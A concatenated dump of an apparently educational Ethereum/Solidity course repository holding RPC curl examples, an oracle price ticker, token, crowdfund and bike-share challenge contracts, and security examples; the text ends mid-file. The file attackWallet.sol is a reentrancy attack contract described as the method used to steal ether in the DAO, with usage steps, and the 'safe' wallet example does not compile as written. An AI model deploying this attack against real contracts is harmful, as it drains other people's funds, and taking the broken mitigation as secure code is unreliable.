3 | ```bash 4 | curl -X POST --data '{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{see above}],"id":1}' 5 | ``` 6 | ## Parameters needed 7 | ```json 8 | params: [{ 9 | "from": "0x6787Fc48C0D68361d06C617fE5453bf83bd42888", // from address (for this to work, this address needs to be unlocked in geth) 10 | "to": "0x342Cd49Fc165163Dc3A873861e780ae7a05b2aC8", // to address 11 | "gas": "0x76c0", // 30400, total gas to send in hex 12 | "gasPrice": "0x9184e72a000", // 10000000000000 gas price in hex 13 | "value": "0xde0b6b3a7640000", // 1 ether value in hex (in Wei!!!) 14 | "data": "0x0" // some data to send if contract creation/function call 15 | }] 16 | ``` 17 | ### To get 1 Ether 18 | ```bash 19 | curl -X POST --data '{"jsonrpc":"2.0","method":"eth_sendTransaction","params":[{ "from": "0x6787Fc48C0D68361d06C617fE5453bf83bd42888", "to":"****", "gas": "0x76c0", "gasPrice": "0x9184e72a000", "value": "0xde0b6b3a7640000"}],"id":1}' ["****"] 20 | ``` 21 | ### To look at the transaction 22 | ```bash 23 | curl -X POST --data '{"jsonrpc":"2.0","method":"eth_getTransactionByHash","params":["****"],"id":1}' ["****"] 24 | ``` 25 | 26 | 27 | ### If you want to interact with you contracts EXCLUSIVELY with the terminal check this [link] 28 | http://ethdocs.org/en/latest/contracts-and-transactions/accessing-contracts-and-transactions.html#accessing-contracts-and-transactions -------------------------------------------------------------------------------- /modules/examples/oraclize_examples/KrakenPriceTicker.sol: -------------------------------------------------------------------------------- 1 | /* 2 | Kraken-based ETH/XBT price ticker 3 | 4 | This contract keeps in storage an updated ETH/XBT price, 5 | which is updated every ~60 seconds. 6 | 7 | Taken from Oraclize's git repo for Educational Purposes 8 | */ 9 | 10 | pragma solidity ^0.4.8; 11 | import "../library/Oraclise.sol"; 12 | 13 | contract KrakenPriceTicker is usingOraclize { 14 | 15 | string public ETHXBT; 16 | 17 | event newOraclizeQuery(string description); 18 | event newKrakenPriceTicker(string price); 19 | 20 | 21 | function KrakenPriceTicker(address _oraclizeAddressResolver) { 22 | oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); 23 | update(); 24 | OAR = OraclizeAddrResolverI(_oraclizeAddressResolver); 25 | } 26 | 27 | function __callback(bytes32 myid, string result, bytes proof) { 28 | if (msg.sender != oraclize_cbAddress()) throw; 29 | ETHXBT = result; 30 | newKrakenPriceTicker(ETHXBT); 31 | update(); 32 | } 33 | 34 | function update() payable { 35 | if (oraclize_getPrice("URL") > this.balance) { 36 | newOraclizeQuery("Oraclize query was NOT sent, please add some ETH to cover for the query fee"); 37 | } else { 38 | newOraclizeQuery("Oraclize query was sent, standing by for the answer.."); 39 | oraclize_query(60, "URL", "json(https://api.kraken.com/0/public/Ticker?pair=ETHXBT).result.XETHXXBT.c.0"); 40 | } 41 | } 42 | 43 | } -------------------------------------------------------------------------------- /modules/examples/security_examples/attackWallet.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.8; 2 | 3 | /* 4 | /////////////////////////////// Method used to steal ether in the DAO and others ////////////////////////////////////// 5 | /////////////////////////////// This is only used for Educational purposes /////////////////////////////////// 6 | /////////////////////////////// any misuse of this code is the responsibility /////////////////////////////////// 7 | /////////////////////////////// of the user, and not the creator /////////////////////////////////// 8 | */ 9 | contract UnsafeWallet { 10 | function withdraw() returns(bool); 11 | function deposit() payable returns(bool); 12 | } 13 | 14 | contract AttackWallet { 15 | UnsafeWallet wallet; 16 | function AttackWallet(address _unsafeWalletAddress) { 17 | wallet = UnsafeWallet(_unsafeWalletAddress); 18 | } 19 | 20 | function emptyWallet() { 21 | // msg.sender will be the contract itself 22 | wallet.withdraw.gas(msg.gas)(); 23 | 24 | } 25 | 26 | function depositInUnsafeWallet() payable { 27 | wallet.deposit.gas(200000).value(msg.value)(); 28 | } 29 | 30 | function depositInUnsafeWallet2() payable returns(bool){ 31 | return wallet.call.gas(200000).value(msg.value)(bytes4(sha3("deposit()"))); 32 | } 33 | 34 | function() payable { 35 | if(msg.gas > 1000000) { 36 | wallet.withdraw.gas(msg.gas)(); 37 | 38 | } 39 | } 40 | } 41 | 42 | // Step 1, fund the account with a few wei 43 | // Step 2, call emptyWallet(), and voila! -------------------------------------------------------------------------------- /modules/challenges/token_challenge/01/contracts/SimpleToken.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./library/SafeMath.sol"; 6 | import "./library/Ownable.sol"; 7 | 8 | contract SimpleToken is Ownable { 9 | 10 | using SafeMath for uint256; 11 | 12 | /* ERC20 INTERFACE */ 13 | string public name = "TOKEN NAME"; 14 | string public symbol = "SYMBOL"; 15 | uint8 public decimals = 18; 16 | uint256 public totalSupply = 0; 17 | 18 | mapping (address => mapping (address => uint256)) internal allowed; 19 | mapping(address => uint256) balances; 20 | 21 | event Transfer(address indexed from, address indexed to, uint256 value); 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | event Mint(address indexed to, uint256 amount); 24 | 25 | 26 | // Not implemented 27 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {} 28 | function approve(address _spender, uint256 _value) public returns (bool) {} 29 | function allowance(address _owner, address _spender) public view returns (uint256) {} 30 | 31 | function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner];} 32 | 33 | function transfer(address _to, uint256 _value) public returns (bool) {} 34 | 35 | /* END OF ERC20 INTERFACE */ 36 | 37 | // Default max supply is 1000 38 | uint256 maxSupply = 1000; 39 | 40 | // Minting function, adds tokens to our total supply 41 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {} 42 | 43 | } -------------------------------------------------------------------------------- /modules/examples/security_examples/safeWallet2.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.8; 2 | 3 | 4 | contract SafeWallet2 { 5 | 6 | mapping(address => uint) balances; 7 | // one mutex per address 8 | mapping(address => bool) mutex; 9 | 10 | function UnsafeWallet() payable { 11 | // when creating the contract, the creator can send money along with it, this will initialize his balance 12 | balances[msg.sender] = msg.value; 13 | } 14 | // Withdraw your balance. 15 | // we implement a Mutex to stop recursive calls 16 | function withdraw() returns(bool){ 17 | if(mutex[address] == true) { 18 | throw; 19 | } 20 | mutex[address] = true; 21 | uint toWithdraw = balances[msg.sender]; 22 | // .call returns true if completed, false otherwise 23 | // using .send is preferred 24 | // using .transfer is the best solution (throws on exceptions) 25 | if (msg.sender.call.value(toWithdraw)()){ 26 | balances[msg.sender] = 0; 27 | mutex[address] = false; 28 | return true; 29 | } 30 | return false; 31 | } 32 | 33 | function deposit() payable returns(bool) { 34 | balances[msg.sender] += msg.value; 35 | return true; 36 | } 37 | 38 | function balanceOf(address _owner) constant returns (uint256 balance) { 39 | return balances[_owner]; 40 | } 41 | } 42 | 43 | 44 | // msg.send is equivalent to msg.sender.call.gas(0).value(number)(); Where you send no gas along with it. 45 | // send sends 0 gas, but there's an EVM rule that the receiver always gets a stipend of 2,300 gas 46 | // (so that it always has enough gas to log that it received something) -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/01/BikeShare.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.4.21; 4 | 5 | 6 | contract BikeShare { 7 | 8 | /************************************** 9 | * constructor 10 | **************************************/ 11 | function BikeShare() { 12 | 13 | } 14 | 15 | /************************************** 16 | * Functions only accessible by the owner 17 | **************************************/ 18 | function setCreditPrice() {} 19 | function setCPKM() {} 20 | function setDonateCredits() {} 21 | function setRepairCredits() {} 22 | 23 | /************************************** 24 | * getters not provided by compiler 25 | **************************************/ 26 | function getAvailable(){} 27 | 28 | /************************************** 29 | * Function to purchase Credits 30 | **************************************/ 31 | function purchaseCredits() {} 32 | 33 | /************************************** 34 | * Donating function 35 | **************************************/ 36 | function donateBike() {} 37 | 38 | /************************************** 39 | * Rent a bike 40 | **************************************/ 41 | function rentBike() {} 42 | 43 | /************************************** 44 | * Ride a bike 45 | **************************************/ 46 | function rideBike() {} 47 | 48 | /************************************** 49 | * Return the bike 50 | **************************************/ 51 | function returnBike() {} 52 | 53 | /************************************** 54 | * default payable function, will call purchaseCredits 55 | **************************************/ 56 | function() {} 57 | } 58 | 59 | /* 60 | THIS CONTRACT IS ONLY MEANT TO BE USED FOR EDUCATIONAL PURPOSES. ANY AND ALL USES IS 61 | AT A USER'S OWN RISK AND THE AUTHOR HAS NO RESPONSIBILITY FOR ANY LOSS OF ANY KIND STEMMING 62 | THIS CODE. 63 | */ -------------------------------------------------------------------------------- /modules/challenges/bikeshare_challenge/final/test/bikeShare.js: -------------------------------------------------------------------------------- 1 | //jshint ignore: start 2 | 3 | const BikeShare = artifacts.require('../contracts/BikeShare.sol'); 4 | 5 | contract('BikeShare', function(accounts) { 6 | 7 | const owner = accounts[0]; 8 | const random = accounts[1]; 9 | const bob = accounts[2]; 10 | let bikeshare; 11 | 12 | 13 | it('should deploy', async () => { 14 | bikeshare = await BikeShare.new({from: owner}); 15 | }); 16 | 17 | it('should be deployed', async () => { 18 | 19 | assert(bikeshare.address !== undefined, 'Bike was not deployed'); 20 | }); 21 | 22 | it('should be able purchase credits', async () => { 23 | const tx = await bikeshare.sendTransaction({ 24 | from: owner, 25 | value: web3.toWei(1, 'ether') 26 | }); 27 | //state should be updated 28 | const credits = await bikeshare.credits.call(owner); 29 | //credits is of type BigNumber 30 | assert(credits.equals(1000), 'Wrong amount of credits'); 31 | }); 32 | 33 | it('should be able to rent bike 2', async () => { 34 | const tx = await bikeshare.rentBike(2, { from: owner }); 35 | //wait until the bike was rented 36 | const bike = await bikeshare.bikeRented.call(owner); 37 | const isRented = await bikeshare.getAvailable.call(); 38 | 39 | 40 | assert(bike.equals(2), 'Bike 2 not rentable'); 41 | assert(isRented[2], 'Bike 2 not rentable'); 42 | }); 43 | 44 | 45 | it('should be able to ride bike 2', async () => { 46 | const tx = await bikeshare.rideBike(25); 47 | const credits = await bikeshare.credits(owner); 48 | 49 | assert(credits.equals(875), 'Wrong amount of credits'); 50 | }); 51 | 52 | //owner credits === 875 53 | it('should be able to return bike 2 with 25kms', async () => { 54 | const tx = await bikeshare.returnBike(); 55 | //wait for state 56 | const bike = await bikeshare.bikes.call(2); 57 | const available = await bikeshare.getAvailable.call(); 58 | 59 | assert(bike[2].equals(25), 'Bike 2 incorrect kms'); 60 | assert(!available[2], 'Bike 2 not rentable'); 61 | }); 62 | 63 | }); -------------------------------------------------------------------------------- /modules/challenges/token_challenge/05/contracts/SimpleCrowdfund.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./SimpleToken.sol"; 6 | 7 | contract SimpleCrowdfund is SimpleToken { 8 | 9 | // Token purchase event 10 | event TokenPurchase(address indexed _buyer, uint256 _value); 11 | 12 | // OwnerWallet address, all ETH gets transfered to him automatically 13 | address payable ownerWallet; 14 | // StartBlock is the block where the contract gets mined 15 | uint256 startBlock; 16 | 17 | // Constructor function 18 | constructor(uint256 _maxSupply, uint256 _toMint) public { 19 | maxSupply = _maxSupply; 20 | ownerWallet = msg.sender; 21 | require(mint(msg.sender, _toMint)); 22 | startBlock = block.number; 23 | } 24 | 25 | // Function that actually buys the tokens 26 | function buyTokens(address _to) public payable returns (bool) { 27 | // Crowdsfund ends if current block number is above 2000 28 | require(block.number < startBlock + 2000); 29 | // Ensure the address passed is valid 30 | require(address(_to) != address(0)); 31 | // Get the amount of tokens 32 | uint256 amount = msg.value.mul(getRate()); 33 | // Ensure the minting works 34 | require(mint(_to, amount)); 35 | // Transfer to the owner wallet the ETH sent 36 | ownerWallet.transfer(msg.value); 37 | // Emist an event 38 | emit TokenPurchase(_to, amount); 39 | return true; 40 | } 41 | 42 | // GetRate returns the rate of the tokens based on the current block 43 | function getRate() public view returns (uint256) { 44 | 45 | if (block.number > (startBlock + 1000)) { 46 | return 5; 47 | } else if (block.number > (startBlock + 750)) { 48 | return 6; 49 | } else if (block.number > (startBlock + 500)) { 50 | return 7; 51 | } else { 52 | return 8; 53 | } 54 | } 55 | 56 | // If user simply send ETH, call buy tokens with the message sender 57 | function() external payable { 58 | buyTokens(msg.sender); 59 | } 60 | 61 | } 62 | 63 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/06/contracts/SimpleCrowdfund.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./SimpleToken.sol"; 6 | 7 | contract SimpleCrowdfund is SimpleToken { 8 | 9 | // Token purchase event 10 | event TokenPurchase(address indexed _buyer, uint256 _value); 11 | 12 | // OwnerWallet address, all ETH gets transfered to him automatically 13 | address payable ownerWallet; 14 | // StartBlock is the block where the contract gets mined 15 | uint256 startBlock; 16 | 17 | // Constructor function 18 | constructor(uint256 _maxSupply, uint256 _toMint) public { 19 | maxSupply = _maxSupply; 20 | ownerWallet = msg.sender; 21 | require(mint(msg.sender, _toMint)); 22 | startBlock = block.number; 23 | } 24 | 25 | // Function that actually buys the tokens 26 | function buyTokens(address _to) public payable returns (bool) { 27 | // Crowdsfund ends if current block number is above 2000 28 | require(block.number < startBlock + 2000); 29 | // Ensure the address passed is valid 30 | require(address(_to) != address(0)); 31 | // Get the amount of tokens 32 | uint256 amount = msg.value.mul(getRate()); 33 | // Ensure the minting works 34 | require(mint(_to, amount)); 35 | // Transfer to the owner wallet the ETH sent 36 | ownerWallet.transfer(msg.value); 37 | // Emist an event 38 | emit TokenPurchase(_to, amount); 39 | return true; 40 | } 41 | 42 | // GetRate returns the rate of the tokens based on the current block 43 | function getRate() public view returns (uint256) { 44 | 45 | if (block.number > (startBlock + 1000)) { 46 | return 5; 47 | } else if (block.number > (startBlock + 750)) { 48 | return 6; 49 | } else if (block.number > (startBlock + 500)) { 50 | return 7; 51 | } else { 52 | return 8; 53 | } 54 | } 55 | 56 | // If user simply send ETH, call buy tokens with the message sender 57 | function() external payable { 58 | buyTokens(msg.sender); 59 | } 60 | 61 | } 62 | 63 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/final/contracts/SimpleCrowdfund.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./SimpleToken.sol"; 6 | 7 | contract SimpleCrowdfund is SimpleToken { 8 | 9 | // Token purchase event 10 | event TokenPurchase(address indexed _buyer, uint256 _value); 11 | 12 | // OwnerWallet address, all ETH gets transfered to him automatically 13 | address payable ownerWallet; 14 | // StartBlock is the block where the contract gets mined 15 | uint256 startBlock; 16 | 17 | // Constructor function 18 | constructor(uint256 _maxSupply, uint256 _toMint) public { 19 | maxSupply = _maxSupply; 20 | ownerWallet = msg.sender; 21 | require(mint(msg.sender, _toMint)); 22 | startBlock = block.number; 23 | } 24 | 25 | // Function that actually buys the tokens 26 | function buyTokens(address _to) public payable returns (bool) { 27 | // Crowdsfund ends if current block number is above 2000 28 | require(block.number < startBlock + 2000); 29 | // Ensure the address passed is valid 30 | require(address(_to) != address(0)); 31 | // Get the amount of tokens 32 | uint256 amount = msg.value.mul(getRate()); 33 | // Ensure the minting works 34 | require(mint(_to, amount)); 35 | // Transfer to the owner wallet the ETH sent 36 | ownerWallet.transfer(msg.value); 37 | // Emist an event 38 | emit TokenPurchase(_to, amount); 39 | return true; 40 | } 41 | 42 | // GetRate returns the rate of the tokens based on the current block 43 | function getRate() public view returns (uint256) { 44 | 45 | if (block.number > (startBlock + 1000)) { 46 | return 5; 47 | } else if (block.number > (startBlock + 750)) { 48 | return 6; 49 | } else if (block.number > (startBlock + 500)) { 50 | return 7; 51 | } else { 52 | return 8; 53 | } 54 | } 55 | 56 | // If user simply send ETH, call buy tokens with the message sender 57 | function() external payable { 58 | buyTokens(msg.sender); 59 | } 60 | 61 | } 62 | 63 | -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/contracts/SimpleCrowdfund.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./SimpleToken.sol"; 6 | 7 | contract SimpleCrowdfund is SimpleToken { 8 | 9 | // Token purchase event 10 | event TokenPurchase(address indexed _buyer, uint256 _value); 11 | 12 | // OwnerWallet address, all ETH gets transfered to him automatically 13 | address payable ownerWallet; 14 | // StartBlock is the block where the contract gets mined 15 | uint256 startBlock; 16 | 17 | // Constructor function 18 | constructor(uint256 _maxSupply, uint256 _toMint) public { 19 | maxSupply = _maxSupply; 20 | ownerWallet = msg.sender; 21 | require(mint(msg.sender, _toMint), "minting failed"); 22 | startBlock = block.number; 23 | } 24 | 25 | // Function that actually buys the tokens 26 | function buyTokens(address _to) public payable returns (bool) { 27 | // Crowdsfund ends if current block number is above 2000 28 | require(block.number < startBlock + 21600 + 2000, "not in crowdfund period"); 29 | // Ensure the address passed is valid 30 | require(address(_to) != address(0)); 31 | // Get the amount of tokens 32 | uint256 amount = msg.value.mul(getRate()); 33 | // Ensure the minting works 34 | require(mint(_to, amount), "problem minting the token"); 35 | // Transfer to the owner wallet the ETH sent 36 | ownerWallet.transfer(msg.value); 37 | // Emist an event 38 | emit TokenPurchase(_to, amount); 39 | return true; 40 | } 41 | 42 | // GetRate returns the rate of the tokens based on the current block 43 | function getRate() public view returns (uint256) { 44 | 45 | if (block.number > (startBlock + 21600 + 1000)) { 46 | return 5; 47 | } else if (block.number > (startBlock + 21600 + 750)) { 48 | return 6; 49 | } else if (block.number > (startBlock + 21600 + 500)) { 50 | return 7; 51 | } else { 52 | return 8; 53 | } 54 | } 55 | 56 | // If user simply send ETH, call buy tokens with the message sender 57 | function() external payable { 58 | buyTokens(msg.sender); 59 | } 60 | 61 | } 62 | 63 | -------------------------------------------------------------------------------- /modules/challenges/token_challenge/02/contracts/SimpleToken.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./library/SafeMath.sol"; 6 | import "./library/Ownable.sol"; 7 | 8 | contract SimpleToken is Ownable { 9 | 10 | using SafeMath for uint256; 11 | 12 | /* ERC20 INTERFACE */ 13 | string public name = "TOKEN NAME"; 14 | string public symbol = "SYMBOL"; 15 | uint8 public decimals = 18; 16 | uint256 public totalSupply = 0; 17 | 18 | mapping (address => mapping (address => uint256)) internal allowed; 19 | mapping(address => uint256) balances; 20 | 21 | event Transfer(address indexed from, address indexed to, uint256 value); 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | event Mint(address indexed to, uint256 amount); 24 | 25 | 26 | // Not implemented 27 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {} 28 | function approve(address _spender, uint256 _value) public returns (bool) {} 29 | function allowance(address _owner, address _spender) public view returns (uint256) {} 30 | 31 | function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner];} 32 | 33 | function transfer(address _to, uint256 _value) public returns (bool) { 34 | require(_to != address(0)); 35 | require(_value <= balances[msg.sender]); 36 | balances[msg.sender] = balances[msg.sender].sub(_value); 37 | balances[_to] = balances[_to].add(_value); 38 | emit Transfer(msg.sender, _to, _value); 39 | return true; 40 | } 41 | 42 | /* END OF ERC20 INTERFACE */ 43 | 44 | // Default max supply is 1000 45 | uint256 maxSupply = 1000; 46 | 47 | // Minting function, adds tokens to our total supply 48 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { 49 | // Add to the total supply 50 | totalSupply = totalSupply.add(_amount); 51 | // Ensure it is less than the max supply 52 | require(totalSupply < maxSupply); 53 | // Add to balance 54 | balances[_to] = balances[_to].add(_amount); 55 | // Emit events 56 | emit Mint(_to, _amount); 57 | emit Transfer(address(0), _to, _amount); 58 | return true; 59 | } 60 | 61 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/03/contracts/SimpleToken.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./library/SafeMath.sol"; 6 | import "./library/Ownable.sol"; 7 | 8 | contract SimpleToken is Ownable { 9 | 10 | using SafeMath for uint256; 11 | 12 | /* ERC20 INTERFACE */ 13 | string public name = "TOKEN NAME"; 14 | string public symbol = "SYMBOL"; 15 | uint8 public decimals = 18; 16 | uint256 public totalSupply = 0; 17 | 18 | mapping (address => mapping (address => uint256)) internal allowed; 19 | mapping(address => uint256) balances; 20 | 21 | event Transfer(address indexed from, address indexed to, uint256 value); 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | event Mint(address indexed to, uint256 amount); 24 | 25 | 26 | // Not implemented 27 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {} 28 | function approve(address _spender, uint256 _value) public returns (bool) {} 29 | function allowance(address _owner, address _spender) public view returns (uint256) {} 30 | 31 | function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner];} 32 | 33 | function transfer(address _to, uint256 _value) public returns (bool) { 34 | require(_to != address(0)); 35 | require(_value <= balances[msg.sender]); 36 | balances[msg.sender] = balances[msg.sender].sub(_value); 37 | balances[_to] = balances[_to].add(_value); 38 | emit Transfer(msg.sender, _to, _value); 39 | return true; 40 | } 41 | 42 | /* END OF ERC20 INTERFACE */ 43 | 44 | // Default max supply is 1000 45 | uint256 maxSupply = 1000; 46 | 47 | // Minting function, adds tokens to our total supply 48 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { 49 | // Add to the total supply 50 | totalSupply = totalSupply.add(_amount); 51 | // Ensure it is less than the max supply 52 | require(totalSupply < maxSupply); 53 | // Add to balance 54 | balances[_to] = balances[_to].add(_amount); 55 | // Emit events 56 | emit Mint(_to, _amount); 57 | emit Transfer(address(0), _to, _amount); 58 | return true; 59 | } 60 | 61 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/04/contracts/SimpleToken.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./library/SafeMath.sol"; 6 | import "./library/Ownable.sol"; 7 | 8 | contract SimpleToken is Ownable { 9 | 10 | using SafeMath for uint256; 11 | 12 | /* ERC20 INTERFACE */ 13 | string public name = "TOKEN NAME"; 14 | string public symbol = "SYMBOL"; 15 | uint8 public decimals = 18; 16 | uint256 public totalSupply = 0; 17 | 18 | mapping (address => mapping (address => uint256)) internal allowed; 19 | mapping(address => uint256) balances; 20 | 21 | event Transfer(address indexed from, address indexed to, uint256 value); 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | event Mint(address indexed to, uint256 amount); 24 | 25 | 26 | // Not implemented 27 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {} 28 | function approve(address _spender, uint256 _value) public returns (bool) {} 29 | function allowance(address _owner, address _spender) public view returns (uint256) {} 30 | 31 | function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner];} 32 | 33 | function transfer(address _to, uint256 _value) public returns (bool) { 34 | require(_to != address(0)); 35 | require(_value <= balances[msg.sender]); 36 | balances[msg.sender] = balances[msg.sender].sub(_value); 37 | balances[_to] = balances[_to].add(_value); 38 | emit Transfer(msg.sender, _to, _value); 39 | return true; 40 | } 41 | 42 | /* END OF ERC20 INTERFACE */ 43 | 44 | // Default max supply is 1000 45 | uint256 maxSupply = 1000; 46 | 47 | // Minting function, adds tokens to our total supply 48 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { 49 | // Add to the total supply 50 | totalSupply = totalSupply.add(_amount); 51 | // Ensure it is less than the max supply 52 | require(totalSupply < maxSupply); 53 | // Add to balance 54 | balances[_to] = balances[_to].add(_amount); 55 | // Emit events 56 | emit Mint(_to, _amount); 57 | emit Transfer(address(0), _to, _amount); 58 | return true; 59 | } 60 | 61 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/05/contracts/SimpleToken.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./library/SafeMath.sol"; 6 | import "./library/Ownable.sol"; 7 | 8 | contract SimpleToken is Ownable { 9 | 10 | using SafeMath for uint256; 11 | 12 | /* ERC20 INTERFACE */ 13 | string public name = "TOKEN NAME"; 14 | string public symbol = "SYMBOL"; 15 | uint8 public decimals = 18; 16 | uint256 public totalSupply = 0; 17 | 18 | mapping (address => mapping (address => uint256)) internal allowed; 19 | mapping(address => uint256) balances; 20 | 21 | event Transfer(address indexed from, address indexed to, uint256 value); 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | event Mint(address indexed to, uint256 amount); 24 | 25 | 26 | // Not implemented 27 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {} 28 | function approve(address _spender, uint256 _value) public returns (bool) {} 29 | function allowance(address _owner, address _spender) public view returns (uint256) {} 30 | 31 | function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner];} 32 | 33 | function transfer(address _to, uint256 _value) public returns (bool) { 34 | require(_to != address(0)); 35 | require(_value <= balances[msg.sender]); 36 | balances[msg.sender] = balances[msg.sender].sub(_value); 37 | balances[_to] = balances[_to].add(_value); 38 | emit Transfer(msg.sender, _to, _value); 39 | return true; 40 | } 41 | 42 | /* END OF ERC20 INTERFACE */ 43 | 44 | // Default max supply is 1000 45 | uint256 maxSupply = 1000; 46 | 47 | // Minting function, adds tokens to our total supply 48 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { 49 | // Add to the total supply 50 | totalSupply = totalSupply.add(_amount); 51 | // Ensure it is less than the max supply 52 | require(totalSupply < maxSupply); 53 | // Add to balance 54 | balances[_to] = balances[_to].add(_amount); 55 | // Emit events 56 | emit Mint(_to, _amount); 57 | emit Transfer(address(0), _to, _amount); 58 | return true; 59 | } 60 | 61 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/06/contracts/SimpleToken.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./library/SafeMath.sol"; 6 | import "./library/Ownable.sol"; 7 | 8 | contract SimpleToken is Ownable { 9 | 10 | using SafeMath for uint256; 11 | 12 | /* ERC20 INTERFACE */ 13 | string public name = "TOKEN NAME"; 14 | string public symbol = "SYMBOL"; 15 | uint8 public decimals = 18; 16 | uint256 public totalSupply = 0; 17 | 18 | mapping (address => mapping (address => uint256)) internal allowed; 19 | mapping(address => uint256) balances; 20 | 21 | event Transfer(address indexed from, address indexed to, uint256 value); 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | event Mint(address indexed to, uint256 amount); 24 | 25 | 26 | // Not implemented 27 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {} 28 | function approve(address _spender, uint256 _value) public returns (bool) {} 29 | function allowance(address _owner, address _spender) public view returns (uint256) {} 30 | 31 | function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner];} 32 | 33 | function transfer(address _to, uint256 _value) public returns (bool) { 34 | require(_to != address(0)); 35 | require(_value <= balances[msg.sender]); 36 | balances[msg.sender] = balances[msg.sender].sub(_value); 37 | balances[_to] = balances[_to].add(_value); 38 | emit Transfer(msg.sender, _to, _value); 39 | return true; 40 | } 41 | 42 | /* END OF ERC20 INTERFACE */ 43 | 44 | // Default max supply is 1000 45 | uint256 maxSupply = 1000; 46 | 47 | // Minting function, adds tokens to our total supply 48 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { 49 | // Add to the total supply 50 | totalSupply = totalSupply.add(_amount); 51 | // Ensure it is less than the max supply 52 | require(totalSupply < maxSupply); 53 | // Add to balance 54 | balances[_to] = balances[_to].add(_amount); 55 | // Emit events 56 | emit Mint(_to, _amount); 57 | emit Transfer(address(0), _to, _amount); 58 | return true; 59 | } 60 | 61 | } -------------------------------------------------------------------------------- /modules/challenges/token_challenge/final/contracts/SimpleToken.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./library/SafeMath.sol"; 6 | import "./library/Ownable.sol"; 7 | 8 | contract SimpleToken is Ownable { 9 | 10 | using SafeMath for uint256; 11 | 12 | /* ERC20 INTERFACE */ 13 | string public name = "TOKEN NAME"; 14 | string public symbol = "SYMBOL"; 15 | uint8 public decimals = 18; 16 | uint256 public totalSupply = 0; 17 | 18 | mapping (address => mapping (address => uint256)) internal allowed; 19 | mapping(address => uint256) balances; 20 | 21 | event Transfer(address indexed from, address indexed to, uint256 value); 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | event Mint(address indexed to, uint256 amount); 24 | 25 | 26 | // Not implemented 27 | function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return true; } 28 | function approve(address _spender, uint256 _value) public returns (bool) { return true; } 29 | function allowance(address _owner, address _spender) public view returns (uint256) { return 0; } 30 | 31 | function balanceOf(address _owner) public view returns (uint256 balance) { 32 | return balances[_owner]; 33 | } 34 | 35 | function transfer(address _to, uint256 _value) public returns (bool) { 36 | require(_to != address(0)); 37 | require(_value <= balances[msg.sender]); 38 | balances[msg.sender] = balances[msg.sender].sub(_value); 39 | balances[_to] = balances[_to].add(_value); 40 | emit Transfer(msg.sender, _to, _value); 41 | return true; 42 | } 43 | 44 | /* END OF ERC20 INTERFACE */ 45 | 46 | // Default max supply is 1000 47 | uint256 maxSupply = 1000; 48 | 49 | // Minting function, adds tokens to our total supply 50 | function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { 51 | // Add to the total supply 52 | totalSupply = totalSupply.add(_amount); 53 | // Ensure it is less than the max supply 54 | require(totalSupply < maxSupply); 55 | // Add to balance 56 | balances[_to] = balances[_to].add(_amount); 57 | // Emit events 58 | emit Mint(_to, _amount); 59 | emit Transfer(address(0), _to, _amount); 60 | return true; 61 | } 62 | 63 | } -------------------------------------------------------------------------------- /modules/dapp/simple_crowdfund_dapp/contracts/SimpleToken.sol: -------------------------------------------------------------------------------- 1 | 2 | 3 | pragma solidity ^0.5.4; 4 | 5 | import "./library/SafeMath.sol"; 6 | import "./library/Ownable.sol"; 7 | 8 | contract SimpleToken is Ownable { 9 